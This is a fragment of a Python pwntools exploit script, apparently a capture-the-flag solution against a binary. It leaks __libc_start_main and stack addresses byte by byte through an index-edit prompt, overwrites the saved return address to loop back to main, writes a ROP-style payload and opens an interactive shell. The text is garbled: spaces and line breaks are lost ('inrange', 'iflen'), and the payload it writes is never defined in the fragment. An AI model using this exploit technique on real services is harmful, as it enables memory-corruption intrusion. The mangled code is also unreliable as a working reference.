# leak __libc_start_main_231_addr for x inrange(8): r.recvuntil("input indexn") r.sendline(str(__libc_start_main_231_offset+x)) r.recvuntil("(hex) ") data = r.recvuntil("n",drop=True) iflen(data)>2: data = data[-2:] eliflen(data)==1: data = "0"+data __libc_start_main_231_addr = data+__libc_start_main_231_addr r.recvuntil("input new value") r.sendline("0") log.info("__libc_start_main_231_addr ->> "+__libc_start_main_231_addr) __libc_start_main_231_addr = eval("0x"+__libc_start_main_231_addr)
push_r15_offset = 0x150+288 push_r15_addr = "" for x inrange(8): r.recvuntil("input indexn") r.sendline(str(push_r15_offset+x)) r.recvuntil("(hex) ") data = r.recvuntil("n",drop=True) iflen(data)>2: data = data[-2:] eliflen(data)==1: data = "0"+data push_r15_addr = data+push_r15_addr r.recvuntil("input new valuen") r.sendline("0") log.info("push_r15_addr ->> "+push_r15_addr) push_r15_addr = eval("0x"+push_r15_addr)
main_addr = push_r15_addr - 0x23b
# cover ret_addr offset = 0x150+8 main_addr = p64(main_addr).encode("hex") print main_addr num = 0 for x inrange(8): r.recvuntil("input indexn") r.sendline(str(offset+x)) r.recvuntil("input new valuen") r.sendline(str(eval("0x"+main_addr[num:num+2]))) printstr(eval("0x"+main_addr[num:num+2])) num = num + 2
log.info("------------------- success cover! -------------------") for x inrange(41-24): r.recvuntil("input indexn") r.sendline("0") r.recvuntil("input new valuen") r.sendline("0")
r.recv() r.sendline("yes") r.recv()
log.info("------------------- ret main success ---------------")
num = 0 for x inrange(0,24): r.recvuntil("input indexn") r.sendline(str(offset+x)) r.recvuntil("input new valuen") r.sendline(str(eval("0x"+payload[num:num+2]))) printstr(eval("0x"+payload[num:num+2])) num = num + 2
log.info("------------------- cover payload success ---------------") for x inrange(41-24): r.recvuntil("input indexn") r.sendline("0") r.recvuntil("input new valuen") r.sendline("0") r.recv() #gdb.attach(r) r.sendline("yes") sleep(0.2) r.interactive()